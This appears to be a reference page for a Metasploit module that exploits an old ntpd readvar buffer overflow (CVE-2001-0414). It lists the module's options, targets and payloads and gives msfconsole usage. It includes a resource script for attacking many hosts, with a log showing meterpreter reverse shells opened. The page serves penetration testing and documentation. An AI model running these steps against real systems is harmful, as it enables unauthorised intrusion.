NTP Daemon readvar Buffer Overflow - Metasploit
This page contains detailed information about how to use the exploit/multi/ntp/ntp_overflow metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: NTP Daemon readvar Buffer Overflow
Module: exploit/multi/ntp/ntp_overflow
Source code: modules/exploits/multi/ntp/ntp_overflow.rb
Disclosure date: 2001-04-04
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): x86
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): 123
List of CVEs: CVE-2001-0414
This module exploits a stack based buffer overflow in the ntpd and xntpd service. By sending an overly long 'readvar' request it is possible to execute code remotely. As the stack is corrupted, this module uses the Egghunter technique.
Module Ranking and Traits
Module Ranking:
- good: The exploit has a default target and it is the "common case" for this type of software (English, Windows 7 for a desktop app, 2012 for server, etc). More information about ranking can be found here.
Basic Usage
Using ntp_overflow against a single host
Normally, you can use exploit/multi/ntp/ntp_overflow this way:
msf > use exploit/multi/ntp/ntp_overflow
msf exploit(ntp_overflow) > show targets
... a list of targets ...
msf exploit(ntp_overflow) > set TARGET target-id
msf exploit(ntp_overflow) > show options
... show and set options ...
msf exploit(ntp_overflow) > exploit
Using ntp_overflow against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your ntp_overflow will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/multi/ntp/ntp_overflow")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Go back to menu.
Msfconsole Usage
Here is how the multi/ntp/ntp_overflow exploit module looks in the msfconsole:
msf6 > use exploit/multi/ntp/ntp_overflow
[*] No payload configured, defaulting to generic/shell_bind_tcp
msf6 exploit(multi/ntp/ntp_overflow) > show info
Name: NTP Daemon readvar Buffer Overflow
Module: exploit/multi/ntp/ntp_overflow
Platform: Linux
Arch: x86
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Good
Disclosed: 2001-04-04
Provided by:
aushack <[email protected]>
Available targets:
Id Name
-- ----
0 RedHat Linux 7.0 ntpd 4.0.99j
1 RedHat Linux 7.0 ntpd 4.0.99j w/debug
2 RedHat Linux 7.0 ntpd 4.0.99k
3 Debugging
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 123 yes The target port (UDP)
Payload information:
Space: 220
Avoid: 6 characters
Description:
This module exploits a stack based buffer overflow in the ntpd and
xntpd service. By sending an overly long 'readvar' request it is
possible to execute code remotely. As the stack is corrupted, this
module uses the Egghunter technique.
References:
https://nvd.nist.gov/vuln/detail/CVE-2001-0414
OSVDB (805)
http://www.securityfocus.com/bid/2540
https://www.kb.cert.org/vuls/id/970472
Module Options
This is a complete list of options available in the multi/ntp/ntp_overflow exploit:
msf6 exploit(multi/ntp/ntp_overflow) > show options
Module options (exploit/multi/ntp/ntp_overflow):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 123 yes The target port (UDP)
Payload options (generic/shell_bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LPORT 4444 yes The listen port
RHOST no The target address
Exploit target:
Id Name
-- ----
0 RedHat Linux 7.0 ntpd 4.0.99j
Advanced Options
Here is a complete list of advanced options supported by the multi/ntp/ntp_overflow exploit:
msf6 exploit(multi/ntp/ntp_overflow) > show advanced
Module advanced options (exploit/multi/ntp/ntp_overflow):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (generic/shell_bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
ARCH no The architecture that is being targeted
PLATFORM no The platform that is being targeted
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/ntp/ntp_overflow module can exploit:
msf6 exploit(multi/ntp/ntp_overflow) > show targets
Exploit targets:
Id Name
-- ----
0 RedHat Linux 7.0 ntpd 4.0.99j
1 RedHat Linux 7.0 ntpd 4.0.99j w/debug
2 RedHat Linux 7.0 ntpd 4.0.99k
3 Debugging
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/ntp/ntp_overflow exploit:
msf6 exploit(multi/ntp/ntp_overflow) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/tight_loop normal No Generic x86 Tight Loop
4 payload/linux/x86/adduser normal No Linux Add User
5 payload/linux/x86/chmod normal No Linux Chmod
6 payload/linux/x86/exec normal No Linux Execute Command
7 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
8 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
9 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
10 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
11 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
12 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
13 payload/linux/x86/read_file normal No Linux Read File
14 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
15 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
16 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
17 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
18 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
19 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
20 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
21 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
Evasion Options
Here is the full list of possible evasion options supported by the multi/ntp/ntp_overflow exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/ntp/ntp_overflow) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #9189 Merged Pull Request: Change author name to nick.
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #2525 Merged Pull Request: Change module boilerplate
- #1241 Merged Pull Request: Removed all $Id$ and $Revision$ occurences
References
- CVE-2001-0414
- OSVDB (805)
- BID-2540
- VU#970472
See Also
Check also the following modules related to this module:
- auxiliary/fuzzers/ntp/ntp_protocol_fuzzer
- auxiliary/scanner/ntp/ntp_monlist
- auxiliary/scanner/ntp/ntp_nak_to_the_future
- auxiliary/scanner/ntp/ntp_peer_list_dos
- auxiliary/scanner/ntp/ntp_peer_list_sum_dos
- auxiliary/scanner/ntp/ntp_readvar
- auxiliary/scanner/ntp/ntp_req_nonce_dos
- auxiliary/scanner/ntp/ntp_reslist_dos
- auxiliary/scanner/ntp/ntp_unsettrap_dos
- auxiliary/dos/ntp/ntpd_reserved_dos
- exploit/linux/http/cayin_cms_ntp
- exploit/linux/http/tr064_ntpserver_cmdinject
- exploit/windows/misc/hp_loadrunner_magentproc
- exploit/windows/misc/hp_loadrunner_magentproc_cmdexec
- exploit/windows/nntp/ms05_030_nntp
- auxiliary/dos/cisco/ios_http_percentpercent
- auxiliary/scanner/http/frontpage_credential_dump
- auxiliary/scanner/http/frontpage_login
- auxiliary/scanner/nessus/nessus_ntp_login
- auxiliary/scanner/nntp/nntp_login
- exploit/multi/browser/adobe_flash_shader_job_overflow
- exploit/multi/browser/chrome_simplifiedlowering_overflow
- exploit/multi/browser/itms_overflow
- exploit/multi/upnp/libupnp_ssdp_overflow
Related Nessus plugins:
- Network Time Protocol Daemon (ntpd) readvar Variable Overflow RCE
- Cisco NTP ntpd readvar Variable Remote Overflow (CSCdt93866)
- Debian DSA-045-2 : ntpd - remote root exploit
- NTP Vulnerability - Cisco Systems
- Mandrake Linux Security Advisory : ntp (MDKSA-2001:036)
Authors
aushack
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.